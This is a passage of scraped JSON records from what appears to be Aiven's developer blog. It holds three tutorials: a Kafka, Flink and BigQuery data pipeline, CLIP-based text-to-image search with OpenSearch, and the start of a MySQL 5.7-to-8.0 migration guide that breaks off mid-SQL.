`NUMERIC`\n\n![Creating a new table in Google Cloud BigQuery](https://cdn.sanity.io/images/sczeoy4w/production/2d238466476e8e9a14fc766bc50ae2909d9c6af9-2560x1880.png)\n\nFinally, on the Google Cloud side we need to grant permissions to the service account created above to allow adding data to the table. For this, go to **Sharing \u003e Permissions** and add a new principal. Enter the name of the service account that you created in one of the previous steps.\n\nFor the role, find \"BigQuery Data Owner\" and select it from the list.\n\n![Granting access to sold_groceries by adding the new serice account as principal, and selecting BigQuery Data Owner as role](https://cdn.sanity.io/images/sczeoy4w/production/a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b-1488x1796.png)\n\nWith the Google Cloud side prepared, let's return to the Aiven platform.\n\n### Adding an external service to Aiven\n\nTo be able to send data from Aiven to BigQuery, we'll need to define an integration between the systems. With the information about your Google Cloud account in hand:\n* Head to the [Aiven console](https://console.aiven.io/),\n* Navigate to Integration endpoints,\n* Select Google Cloud BigQuery.\n\nProvide a suitable endpoint name, your Google Cloud Project ID (if not sure, you can also find it in the body of the certificate), and paste the JSON key from your service account:\n\n![Creating a new Google Cloud BigQuery endpoint](https://cdn.sanity.io/images/sczeoy4w/production/cc2329da6bf059314390037b77c81b41789822a5-2372x1265.png)\n\nAfter creating the endpoint, we can now use it with our Apache Flink instance. But first, we need some data!\n\n## Generating sample data\n\nWe'll use a grocery generator that you can clone from [the grocery-generator repository](https://github.com/Aiven-Labs/grocery-generator).\n\nInstall the dependencies by running:\n\n```bash\npip install -r requirements.txt\n```\n\nTo configure the access to your Apache Kafka service:\n\n* Rename `config-example.py` into `config.py` and then replace the placeholders with your Aiven for Apache Kafka URI. \n* Create a folder called **certificates** and store these Apache Kafka certificates in it: `ca.pem`, `service.cert` and `service.key`.\n\nAll this information can be taken from your Aiven for Apache Kafka service page: \n\n![Download certificates for Aiven for Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/40895a176cd2dfa9f68d45d545a333ab4a14700e-3337x1246.png)\n\nNow it's time to run the scripts and generate the data:\n```bash\npython makeData.py\n```\nAfter a minute or two, details about grocery purchases will start flowing into the Apache Kafka topics. You'll be able to also see the data in the topic by getting messages through Aiven interface:\n\n![Fetching messages from Aiven for Aoache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/0c6462f15973482f1b7ee1e98bcbaa9d41736627-2808x1230.png)\n\n## Transforming data in Flink\nNow that we have data in our Apache Kafka service, let's shift our focus to Apache Flink.\n\nNavigate to your Aiven for Apache Flink service to create a new data pipeline. We'll need two integrations: one for Apache Kafka to source the data and another for BigQuery to sink the flow of transformed assets.\n\nFor Apache Kafka, access the *Create service integration* tab and select your Aiven for Apache Kafka service:\n\n![Add Apache Kafka - a service integration to Flink pipeline](https://cdn.sanity.io/images/sczeoy4w/production/15221920d801849b41c37e2e9698038d5077a362-1858x652.png)\n\nFor BigQuery, go to *Create external integration endpoint*, and you'll find the previously added BigQuery integration:\n\n![Add BigQuery - an external service integration to Flink pipeline](https://cdn.sanity.io/images/sczeoy4w/production/a7d3080559232a712f216d72cbfe31c84cf48411-1870x644.png)\n\nAdd both integrations to your Apache Flink service.\n\nNext, create a new Apache Flink application. Choose a suitable name and create the application:\n\n![Create a new application with Aiven for Apache Flink](https://cdn.sanity.io/images/sczeoy4w/production/9db9718b7de7faee35cdd61cef684d5d04e042f2-2555x1094.png)\n\nEach Apache Flink application consists of three components: source definition, sink definition, and transformation statement.\n\nOur data source is the Apache Kafka topic that we need to map to an Apache Flink table. \nFor this, you need to do two things: \n* Choose your Aiven for Apache Kafka service from the list of integrated services. \n* Define an SQL query to create a table, specify properties to retrieve from Apache Kafka topic, as well as the name of the topic, the format of the data and from which point to read the data:\n\n```sql\nCREATE TABLE basket_table (\n city STRING,\n id BIGINT,\n purchase_day BIGINT,\n total_purchases INT,\n purchases ARRAY\u003cROW\u003c\n city STRING,\n id BIGINT,\n influencer STRING,\n item STRING,\n price DECIMAL(10, 2)\n \u003e\u003e\n) WITH (\n 'connector' = 'kafka',\n 'properties.bootstrap.servers' = '',\n 'topic' = 'CDC-input',\n 'value.format' = 'json',\n 'scan.startup.mode' = 'earliest-offset'\n )\n```\n\nTo make sure everything is set up right and to see an example of data arriving, tap on the **Run** button. This will return a bunch of values from the Apache Kafka topic as a Flink table:\n\n![Add Apache Kafka as a source table](https://cdn.sanity.io/images/sczeoy4w/production/d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d-3313x1696.png)\n\nInclude the source table and click **Next** to move ahead.\nNext we need to define the destination for the data processed by Flink, BigQuery. As with Apache Kafka you need to do two actions - select BigQuery from the list of integrated services and write SQL definition for the table: \n\n```sql\nCREATE TABLE sold_groceries (\n city STRING,\n purchase_day TIMESTAMP(3),\n id BIGINT,\n influencer STRING,\n item STRING,\n price DECIMAL(10, 2) \n) WITH (\n 'connector' = 'bigquery',\n 'project-id'= 'aiven-devrel-demo',\n 'dataset' = 'e_commerce_analytics_dataset',\n 'table' = 'sold_groceries'\n)\n\n```\nMake sure that you correctly define the names of your dataset, table and project-id, as well as the structure of the table.\n\n![Add BigQuery as a sink table](https://cdn.sanity.io/images/sczeoy4w/production/8c34edd103bed139136311f57c963c09f630c640-3336x1710.png)\n\nThe final step is to create a statement to transform the input data that comes from a source and send it to the destination. In this part, we use SQL to insert values from `basket_table` into the BigQuery table `sold_groceries`. We also use `CROSS JOIN UNNEST` to generate a row for each item in the purchases array that we have in `basket_table`:\n\n```sql\nINSERT INTO sold_groceries\nSELECT \n basket_table.city, \n TO_TIMESTAMP(FROM_UNIXTIME(basket_table.purchase_day)), \n p.id, \n p.influencer, \n p.item, \n p.price \nFROM basket_table \nCROSS JOIN UNNEST(purchases) AS p(city, id, influencer, item, price)\n```\n\n![Add a transformation statement](https://cdn.sanity.io/images/sczeoy4w/production/df84ff5f3b54934774294966a122d5bd837e86b3-3346x1702.png)\n\nWe're almost ready. Time to deploy Flink code and see our data moving to BigQuery. Now click to create a deployment and then choose to create without a savepoint:\n\n![Create Aiven for Apache Flink deployment](https://cdn.sanity.io/images/sczeoy4w/production/63ae1454ecdebdcf8c0306957b47107262394b95-3349x1158.png)\n\n\nOnce you create a deployment, go to Flink's UI by clicking on **Flink Web UI** in the console and entering username and password provided in the *Connection Information*:\n\n![Access Flink's UI from the Aiven console](https://cdn.sanity.io/images/sczeoy4w/production/a3fe609731724ccb4c80155e42c1ddb14af36608-2779x933.png)\n\nFlink UI is a convenient tool to observe the status of Flink jobs and get trace information about the errors:\n\n![Using Flink UI to check the statues of the job](https://cdn.sanity.io/images/sczeoy4w/production/33b34cf2581794cadec9c61e9173c3be5a6610d8-3358x968.png)\n\n## Getting the results\n\nOnce your job is running, go back to your table in BigQuery to see the data and perform analytical queries that you need!\n\n![Seeing results in the BigQuery](https://cdn.sanity.io/images/sczeoy4w/production/1c0c04b5863f14372728f34a356f6d3d33d867a8-2622x1710.png)\n\n# Conclusions \n\nIn this article, we've explored how to use Apache Flink and [its Flink to BigQuery sink connector](https://github.com/aiven/bigquery-connector-for-apache-flink) to transform the data and send it into Google BigQuery. In several steps we configured BigQuery and Aiven for Apache Flink services and created a new data pipeline. \n\nInterested to learn more? Check these resources:\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Github repository for BigQuery Connector for Apache Flink®](https://github.com/aiven/bigquery-connector-for-apache-flink)\n- [Documentation on how to integrate Aiven for Apache Flink® with Google BigQuery](https://aiven.io/docs/products/flink/howto/connect-bigquery)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-13T07:38:33.752Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"f9fe0a6564dd","_ref":"36bb61b8-a6d5-45b4-ae46-6b9e8aab64a6","_type":"tag"},{"_key":"0de5a02f54a6","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2023-09-07T10:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-flink-for-data-transformation-into-bigquery"},"subtitle":"Learn how to draw meaningful conclusions from ecommerce data using Apache Flink® as a data pipeline into Google BigQuery","tags":[{"_key":"20cb37cde119","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"c4fe787be8e4","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"fbae9cadc02c","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"0f4951b28ffe","_ref":"fb5ec822-b1c7-4454-acf5-62b026fb47ec","_type":"tag"}],"title":"Data refinement in action: Apache Flink® for data transformation into Google BigQuery"} {"__i18n_lang":"en","_createdAt":"2024-03-11T09:32:36Z","_id":"3819159e-9c6a-402b-9ca7-48f82efcedaa","_rev":"MXByqil29wvmyqa7TKGls3","_type":"devArticle","_updatedAt":"2024-03-18T12:51:05Z","body":"Do you recall the frustration of looking through an endless sea of images, desperately seeking that one photograph buried deep within your digital library? Perhaps it was a snapshot from a past vacation, a birthday moment of your friend, or a sunrise view on a freezing winter moment. Wouldn't it be great if you could just describe the photo and find it easily? Well, if you want to know how to do that, you're in the right place! Keep reading to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine.\n\nIn this tutorial we'll use a multi-modal vision and language model named CLIP. This model is special in the way that it can work with both images and text interchangeably, producing embeddings for input data that is either a text snippet or an image. These embeddings, or we also call them \"vectors\", are arrays of numeric values that define the location of an object in a multidimensional space. This location is calculated by a model by looking at various features of the object.\n\nCLIP works perfectly for our use case, on one side we can convert each photo into a vector. On the other, we can do the same to a search text description - producing another vector. Once we have that we can compare image vectors to the search phrase vector and find the closest photo to the search description.\n\nTo accomplish this, we'll need:\n- Photos to experiment with — I'll be using a dataset from [Unsplash](https://unsplash.com/data).\n- The CLIP (Contrastive Language-Image Pre-Training) model to generate vectors.\n- OpenSearch to store, compare vectors, and find the nearest ones using the K-Nearest Neighbors Algorithm.\n\nHere is the plan:\n\n1. Download photos.\n2. Process each photo using the CLIP model and retrieve the generated vectors.\n3. Store the vectors and corresponding photo URLs in OpenSearch.\n4. Process a search phrase using the CLIP model.\n5. Retrieve a single vector.\n6. Send a similarity search request to OpenSearch and retrieve the closest photo.\n\n![Step by step plan for this tutorial](https://cdn.sanity.io/images/sczeoy4w/production/55f055f2ee67a953dfe12e6701d62f5e1daea716-2352x996.png)\n\nIf you're unsure where to begin, don't worry; we'll navigate through each step together!\n\n## GitHub repository with complete code\n\nFor easy access to all the code that we'll discuss, find the complete implementation in [the GitHub repository](https://github.com/Aiven-Labs/CLIP-opensearch). I recommend cloning the repository and running the steps in a Jupyter notebook.\n\n## Set up the Python environment\n\nIn this tutorial, we'll use Python notebooks. If you haven't already set up your Python environment, it is time to do so. First, install Python by following steps from [www.python.org](https://www.python.org/about/gettingstarted/). Next create a Python environment. This can be done in different ways, below is how I did it using [Conda](https://conda.io/projects/conda/en/latest/index.html). However, your setup steps might be different.\n\n```bash\nconda create --name photo_env \nconda activate photo_env\nconda install pip3 \nconda install pandas \nconda install -c anaconda ipykernel\npython -m ipykernel install --user --name=photo_env\n```\n\nNow when running a notebook you can select ``photo_env`` as your environment to perform actions.\n\n## Download the archive with image references\n\n[Unsplash](https://unsplash.com/data) offers a great collection of high quality images that we can use for this project. There are two versions of their dataset and we'll use the smaller version, called \"Lite\". It contains approximately 25,000 pictures. To obtain the dataset, follow these steps:\n\n1. Visit the Download section of the Unsplash datasets repository: [Unsplash Datasets Repository](https://github.com/unsplash/datasets?tab=readme-ov-file).\n2. Download the archive provided in the repository.\n\nThe archive itself doesn't contain images, it contains only the corresponding URLs of the images. The URLs are in the file `photos.tsv000`. There you'll find a list of records for each photo, including URL information:\n\n![A look into photos TSV file](https://cdn.sanity.io/images/sczeoy4w/production/ed21ee3029f8c375ef838104d12736645cc83337-2644x392.png)\n\n## Download all images\n\nTo store and later display images by URL we need to establish a connection between each downloaded image and its unique identifier. While `photos.tsv000` contains both the image id and URL, the image URL isn't easily derived from the id.\n\nIt's tempting to use image id as it's short and has no special characters, making it suitable as a filename for downloaded images. Yet this approach would require searching through `photos.tsv000` each time we need to retrieve the image URL by image id. This is quite inefficient. \n\nTo simplify the process and ensure that we only need to read `photos.tsv000` once during the image loading phase, we'll embed the URL into the filename of each downloaded photo. For example, here is how we can achieve it for the first row from `photos.tsv000`:\n\n``` \nbygTaBey1Xk\t\nhttps://unsplash.com/photos/bygTaBey1Xk\thttps://images.unsplash.com/uploads/1413387620228d142bee4/23eceb86\t\n2014-10-15 15:40:40.111061\t\nt\t4635\t3070\t1.51\t\t\njaspervandermeij\tJasper\tvan der Meij\t\nPENTAX RICOH IMAGING\t\nGR\t100\t14.0\t18.3\t8\t\t\t\t\t\t1708356\t\n19085\tsea and rock cliff with grasses under cloudy sky\t\nNeist Point\t57.428386927437906\t\n-6.7830279999999998\t30.348905999999999\t\nLcE{wnIVRixt~WR+NGjbxukCWBWB\n```\n\nFor the photo above, the URL is `https://images.unsplash.com/uploads/1413387620228d142bee4/23eceb86`. However, because filenames shouldn't contain forward slash `/`, we need to do a small trick - to embed the URL into the filename, we'll replace `/` with a different character, such as `!`. Thus, the filename becomes `https:!!images.unsplash.com!uploads!1413387620228d142bee4!23eceb86`. Later, when we need the URL, we'll replace `!` back with `/`.\n\nTo implement this process, move `photos.tsv000` to your project directory and run [1-load-images.ipynb](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/1-load-images.ipynb), which contains the necessary code to execute the embedding of URLs into filenames:\n\n```py\nimport csv\nimport os\nimport requests\nfrom urllib.parse import urlparse\n\n# Create a folder to store the images if it doesn't exist\nfolder_name = 'photos'\nif not os.path.exists(folder_name):\n os.makedirs(folder_name)\n\n# Read the TSV file and extract photo URLs\nwith open('photos.tsv000', newline='', encoding='utf-8') as tsvfile:\n reader = csv.DictReader(tsvfile, delimiter='\\t')\n count = 0 # Counter for downloaded images\n for row in reader:\n photo_image_url = row['photo_image_url']\n\n # Replace \"/\" in the URL path with \"!\" to be used as a file name that we can reconstruct into URL later\n filename = photo_image_url.replace(\"/\", \"!\") \n \n try:\n # Download the image\n photo_image_url = f\"{photo_image_url}?w=640\"\n response = requests.get(photo_image_url)\n if response.status_code == 200:\n # Save the image to the folder\n count += 1\n with open(os.path.join(folder_name, filename), 'wb') as f:\n f.write(response.content)\n print(f\"Downloaded image {count}: {filename}\")\n else:\n print(f\"Failed to download image {filename}\")\n except Exception as e:\n print(f\"Error downloading image {filename}: {str(e)}\")\n\nprint(\"All images downloaded successfully.\")\n```\n\nWait a bit while we download ~25,000 images. You can see the progress in the notebook.\n\n## Prepare OpenSearch\n\nWe'll use OpenSearch both as storage, as well as a search engine that can work with vectors.\n\nStart by creating an [Aiven for OpenSearch®](https://aiven.io/opensearch) service by [signing up for an Aiven account](https://aiven.io/signup) and accessing the Aiven Console.\n\nTo connect to the OpenSearch cluster you'll need its **Service URI**. Find this value on the landing page of the service. \n\n\nTo avoid hard-coding credentials in the code, we'll use [python-dotenv](https://pypi.org/project/python-dotenv/). This means that all credentials should go to an environment file which is excluded from the repository. Create `.env` and add the Service URI there (see [.env.example](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/.env.example)).\n```bash\nSERVICE_URI='add your OpenSearch service URI here'\n```\n\nYou'll also need python dependencies for OpenSearch and for Dotenv, install them:\n\n```bash\npip install opensearch-py\npip install python-dotenv\n```\nNow you're ready to run the code from the second notebook. Open [2-prepare-opensearch.ipynb](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/2-prepare-opensearch.ipynb) and run the code to create an index with the name \"photos\":\n\n```py\nfrom dotenv import load_dotenv\nload_dotenv()\nSERVICE_URI = os.getenv(\"SERVICE_URI\")\n\nfrom opensearchpy import OpenSearch\nopensearch = OpenSearch(SERVICE_URI, use_ssl=True)\n\nfrom opensearchpy import OpenSearch\nindex_name = 'photos'\nindex_body = {\n 'settings': {\n 'index': {\n \"knn\": True\n }\n },\n \"mappings\": {\n \"properties\": {\n \"embedding\": {\n \"type\": \"knn_vector\",\n \"dimension\": 512\n }\n }\n }\n}\n\nopensearch.indices.create(index_name, body=index_body)\n```\n\nOpenSearch can work with dynamic schemas, so creating an index isn't usually mandatory. However, when dealing with vectors and enabling k-nearest neighbors (KNN) functionality, **it's essential to explicitly define the mappings**. This ensures that OpenSearch understands which field will contain the embeddings and how many dimensions it will have.\n\n## Process images\n\nIf you followed the steps before by now you should have a folder **Photos** that contain [Unsplash](https://unsplash.com/data) photos. Time to process each of those images, get a vector and store the data in OpenSearch. To create vectors we'll use the [CLIP model](https://github.com/openai/CLIP).\n\nYou'll need to install several libraries to work with CLIP (see detailed instructions in the [CLIP GitHub repo](https://github.com/openai/CLIP)):\n\n```bash\npip install git+https://github.com/openai/CLIP.git\npip install ftfy regex tqdm\npip install Pillow \npip install torch \n```\n\nGo to [3-process-and-upload.ipynb](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/3-process-and-upload.ipynb) and do all the steps.\n\nLoad the model:\n\n```py\nimport os\nimport clip\nimport torch\nfrom PIL import Image\n\n# Load the open CLIP model\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nmodel, preprocess = clip.load(\"ViT-B/32\", device=device)\n```\n\nCreate a function that computes the feature vectors for a batch of images. This is where we rely on the `torch` library to preprocess the image to optimize for the available environment. Next we use the model to obtain feature vectors for each image in the batch. Finally, normalise the vectors to make sure that feature vectors have a consistent scale:\n\n```py\ndef compute_clip_features(photos_batch):\n # Load all the photos from the files\n photos = [Image.open(photo_file) for photo_file in photos_batch]\n \n # Preprocess all photos\n photos_preprocessed = torch.stack([preprocess(photo) for photo in photos]).to(device)\n\n with torch.no_grad():\n # Encode the photos batch to compute the feature vectors and normalize them\n photos_features = model.encode_image(photos_preprocessed)\n photos_features /= photos_features.norm(dim=-1, keepdim=True)\n\n # Transfer the feature vectors back to the CPU and convert to numpy\n return photos_features.cpu().numpy()\n```\n\nCreate a function to index embeddings into OpenSearch:\n\n```py\nfrom dotenv import load_dotenv\nload_dotenv()\nSERVICE_URI = os.getenv(\"SERVICE_URI\")\n\nfrom opensearchpy import OpenSearch\nopensearch = OpenSearch(SERVICE_URI, use_ssl=True)\nfrom opensearchpy.helpers import bulk\n\ndef index_embeddings_to_opensearch(data):\n actions = []\n for d in data:\n action = {\n \"_index\": \"photos\", # Update with your index name\n \"_source\": {\n \"image_url\": d['image_url'],\n \"embedding\": d['embedding'].tolist()\n }\n }\n actions.append(action)\n success, _ = bulk(opensearch, actions, index=\"photos\")\n print(f\"Indexed {success} embeddings to OpenSearch\")\n```\n\nIterate over images and process them in batches:\n\n```py\nimport os\n\n# Path to the directory containing photos\nimage_dir = \"photos\"\n\n# Batch size for processing images and indexing embeddings\nbatch_size = 100\n\n# List to store embeddings\ndata = []\n\n# Process images in batches\nimage_files = os.listdir(image_dir)\nfor i in range(0, len(image_files), batch_size):\n batch_files = image_files[i:i+batch_size]\n batch_file_paths = [os.path.join(image_dir, file) for file in batch_files]\n\n # Compute embeddings for the batch of images\n batch_embeddings = compute_clip_features(batch_file_paths)\n\n # Create data dictionary for indexing\n for file_path, embedding in zip(batch_file_paths, batch_embeddings):\n image_url = os.path.basename(file_path).replace(\"!\", \"/\")\n data.append({'image_url': image_url, 'embedding': embedding})\n\n # Check if we have enough data to index\n if len(data) \u003e= batch_size:\n index_embeddings_to_opensearch(data)\n data = []\n\n# Index any remaining data\nif len(data) \u003e 0:\n index_embeddings_to_opensearch(data)\n\nprint(\"All embeddings indexed successfully.\")\n```\n\n\n## Search\n\nThe data about images is processed and already in OpenSearch. Time to create functionality to search for an image! Find all the steps in the notebook [4-run-vector-search](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/4-run-vector-search.ipynb).\n\nLoad the open CLIP model and create a function to generate an embedding for a single text:\n```py\nimport clip\nimport torch\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nmodel, preprocess = clip.load(\"ViT-B/32\", device=device)\n\ndef get_single_embedding(text):\n with torch.no_grad():\n # Encode the text to compute the feature vector and normalize it\n text_input = clip.tokenize([text]).to(device)\n text_features = model.encode_text(text_input)\n text_features /= text_features.norm(dim=-1, keepdim=True)\n\n # Return the feature vector\n return text_features.cpu().numpy()[0]\n```\n\nCreate a function to perform KNN search in OpenSearch:\n\n```py\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\nSERVICE_URI = os.getenv(\"SERVICE_URI\")\nindex_name = \"photos\" # Update with your index name\n\nfrom opensearchpy import OpenSearch\nopensearch = OpenSearch(SERVICE_URI, use_ssl=True)\n\ndef knn_search(text):\n vector = get_single_embedding(text)\n\n body = {\n \"query\": {\n \"knn\": {\n \"embedding\": {\n \"vector\": vector.tolist(), # Convert to list\n \"k\": 2 # Number of nearest neighbors to retrieve\n }\n }\n }\n }\n\n # Perform search\n result = opensearch.search(index=index_name, body=body)\n return result\n\n\n```\n\nCreate a function to display an image as a result:\n\n```py\nfrom IPython.display import display, Image\nimport pandas as pd\n\n# Read the TSV file into a DataFrame\nfile_path = 'photos.tsv000'\ndf = pd.read_csv(file_path, sep='\\t')\n\n\ndef display_image_by_id(result):\n # Check if hits are present in the result\n if 'hits' in result and 'hits' in result['hits']:\n hits = result['hits']['hits']\n # Extract image_url from the first hit\n if hits:\n image_url = hits[0]['_source']['image_url']\n image_url = f\"{image_url}?w=640\"\n \n # Display the image\n display(Image(url=image_url))\n else:\n print(\"No hits found in the result.\")\n else:\n print(\"Invalid result format or no hits found.\")\n```\n\nFinally, run the example:\n\n```py\ntext_input = \"dog at home\" # Provide your text input here\nresult = knn_search(text_input)\ndisplay_image_by_id(result)\n```\n\n![Running an example with a phrase dog at home](https://cdn.sanity.io/images/sczeoy4w/production/d4730060d21aef5fcf0919ea4c39903beb0e6ea8-1710x1516.png)\n\n## What's next\n\nAfter following this tutorial you've learned how to use multimodal search with OpenSearch. If you're interested in related topics check out these articles:\n\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector)\n- [Social search in real time: Exploring Mastodon data with Apache Kafka® and OpenSearch®](https://aiven.io/developer/mastodon-kafka-opensearch) \n\n\n\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-18T09:32:30.770Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"943c8b4ca168","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-02-21T09:32:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"When text meets image: a guide to OpenSearch® for multimodal search\" in white on a blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-0d21d2995a02f56e03e6190c822177072163ad8c-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/opensearch-multimodal-search"},"subtitle":"Learn how to use Aiven for OpenSearch® to search both images and text to return results!","tags":[{"_key":"0a622d5ee985","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"325afbe28f21","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"78da2ea2bf75","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"f24246ab190f","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"}],"title":"When text meets image: a guide to OpenSearch® for multimodal search"} {"__i18n_lang":"en","_createdAt":"2023-06-29T08:45:58Z","_id":"c5a5563e-479d-45e0-9946-171e9570b7a4","_rev":"lhvtNBOlLYH5KiQFQ8ZRDv","_type":"devArticle","_updatedAt":"2024-01-29T15:48:49Z","body":"As a widely used open-source relational database management system (RDBMS), MySQL plays a crucial role in storing and retrieving data for various applications in production. However, migrating a MySQL database to a new server or a different version of MySQL can be a daunting task due to potential data loss, unexpected downtime, technical complexity, or compatibility issues. \n\nIn this tutorial, we'll migrate a MySQL database from an older version to a newer version, and migrate it across cloud providers as well. We'll cover the common steps and configurations required to do this.\n\n### The (hidden) challenges of database migration\n\nDatabase migration is a complex and challenging process that requires careful planning and execution to ensure that it is done correctly and without any data loss, downtime, or security risks. Here are the five associated challenges:\n\n1. Data Loss: If the migration process is not executed correctly, it can result in data loss, which can have severe consequences for the organization that relies on the database.\n\n2. Downtime: During the migration process, the database may not be available for some time, which can result in downtime for the application. This can impact the user experience and cause financial losses for businesses that rely on the application.\n\n3. Technical Complexity: Migrating a database requires technical expertise, and it involves several complex tasks such as creating backups, restoring the database, and updating the application's configuration.\n\n4. Compatibility Issues: When migrating to a different system or platform, there may be compatibility issues with the application's current codebase, which may need to be resolved before the migration can be completed successfully.\n\n5. Security Risks: Migrating a database can also introduce security risks if not done correctly, which can compromise the integrity and confidentiality of sensitive data.\n\n### The types of MySQL database migration\n\nYou can migrate MySQL databases using snapshots or logical replication. The snapshot method takes a backup of the database and restores it to the destination server, logical replication takes this a step further and also copies individual transactions across in real-time.\n\nSnapshot is faster for initial synchronization, less resource-intensive, and easier to set up. However, it requires significantly more downtime, especially for larger servers.\n\nLogical replication, on the other hand, is a powerful technique for replicating changes between databases and ensuring high availability. While it offers granular control over data replication, it may not be the most optimal choice for large-scale or complex database migrations. The migration process typically requires a complete transfer of data, and logical replication may not provide the same level of efficiency as other methods. However, in scenarios where ongoing operations need to be minimally disrupted during the migration, logical replication can offer the advantage of allowing continuous replication of transactions.\n\nOverall, while snapshotting is useful for certain scenarios, such as one-time migrations or disaster recovery setups, logical replication might be a better choice for ongoing replication and database migrations, due to its efficiency, flexibility, and minimal impact on operations. It's worth noting that the Aiven platform offers a built-in database migration tool that uses logical replication to migrate data between MySQL instances. \n\n### Prerequisites\n\nTo follow along, you'll need:\n\n- A [Google Cloud account](https://cloud.google.com/) and [gcloud CLI installed](https://cloud.google.com/sdk/docs/install)\n- An [Aiven account]( https://console.aiven.io/signup)\n- [MySQL CLI client](https://dev.mysql.com/doc/refman/8.0/en/mysql.html) or [MySQL Shell](https://dev.mysql.com/doc/mysql-shell/8.0/en/mysqlsh.html) installed\n\n### Step 1: Plan the migration\n\nIn this tutorial, we'll migrate a MySQL 5.7 server to a MySQL 8.0 server. In my example, we'll use Google Cloud SQL as the source and Aiven for MySQL as the target. We'll use the built-in migration tool within Aiven console. If you're migrating to a different provider, check out [MySQL migration tool](https://github.com/aiven/aiven-mysql-migrate) - an open-source tool. \n\nHere are the 7 things to remember before you start a MySQL migration:\n\n1. The target MySQL service should not contain any data.\n2. Superuser permission must be available on the source database. \n3. Both databases should be publicly accessible.\n4. Firewalls should be updated or disabled.\n5. Remote connections should be enabled on the source database.\n6. GTID should be enabled on the source database.\n7. Logical replication privileges should be granted on the source database.\n\n### Step 2: Prepare the source database and create backup\n\nIf you already have a source MySQL database available, you can use that. If not, let's create a new MySQL database and populate it with some sample data. Since this is a demo database, we'll skip the part of database backup.\n\n1. From your Google Cloud console, navigate to **Cloud SQL** and click **CREATE INSTANCE**. \n2. Choose **MySQL**, use version 5.7, **Sandbox** as the environment, and your preferred cloud zone. I named this instance *google-montreal-mysql57* but you can name it based on your preference. \n3. Once your instance is created, navigate to the **Databases** section of your instance and click **CREATE DATABASE**. You can name this database *old-mysql57-db*. You also need a database user. \n4. From the **Users** tab, click **ADD USER ACCOUNT** and create a new database user. Be sure to keep a note of the user password since you won't be able to view this again. I named this user *test-dba-mysql*. \n\nNext, let's connect to this database and add some sample data. I'll use **gcloud** CLI to connect to Google Cloud SQL instance. \n\nAt first, you need to authenticate your gcloud CLI. You'll need to allow Google Cloud SDK access to your Google Cloud account.\n\n```\ngcloud auth login\n```\n\nEnsure that you're using the correct project ID. You can use `gcloud config set project PROJECT_ID` to switch in case you're on a different project. \n\nNext, you'll connect to the Google Cloud SQL instance using the newly created user. Remember to modify the instance name or database user name if those are different for your case.\n\n```\ngcloud sql connect google-montreal-mysql57 --user=test-dba-mysql\n```\n\nGoogle Cloud allowlists your IP for incoming connection for 5 minutes. You'll need to enter the previously saved database user password at this point. Once you're connected to the database instance, select the intended database. Be sure to use the database name you chose.\n\n```\nUSE OLD-MYSQL57-DB\n```\n\nNow you can add some sample data to this database. You're free to generate this yourself or can copy of the following SQL statements:\n\n```sql\n-- Create the first table\nCREATE TABLE customers (\n customer_id INTEGER PRIMARY KEY,\n name VARCHAR(50) NOT NULL,\n email VARCHAR(50) UNIQUE,\n phone VARCHAR(20),\n address VARCHAR(100)\n);\n\n-- Add sample data to the customers table\nINSERT INTO customers (customer_id, name, email, phone, address)\nVALUES\n (1, 'John Smith', 'john.smith@example.com', '555-1234', '123 Main St'),\n (2, 'Jane Doe', 'jane.doe@example.com', '555-5678', '456 Elm St'),\n (3, 'Bob Johnson', 'bob.johnson@example.com', '555-9012', '789 Oak St');\n\n-- Create the second table\nCREATE TABLE orders (\n order_id INTEGER PRIMARY KEY,\n customer_id INTEGER NOT NULL,\n order_date TIMESTAMP NOT NULL,\n total DECIMAL(10,2) NOT NULL,\n FOREIGN KEY (customer_id) REFERENCES customers(customer_id)\n);\n\n-- Add sample data to the orders table\nINSERT INTO orders (order_id, customer_id, order_date, total)\nVALUES\n (1, 1, '2022-01-01 12:00:00', 50.00),\n (2, 2, '2022-01-02 14:30:00', 100.00),\n (3, 1, '2022-01-03 10:00:00', 25.00),\n (4, 3, '2022-01-04 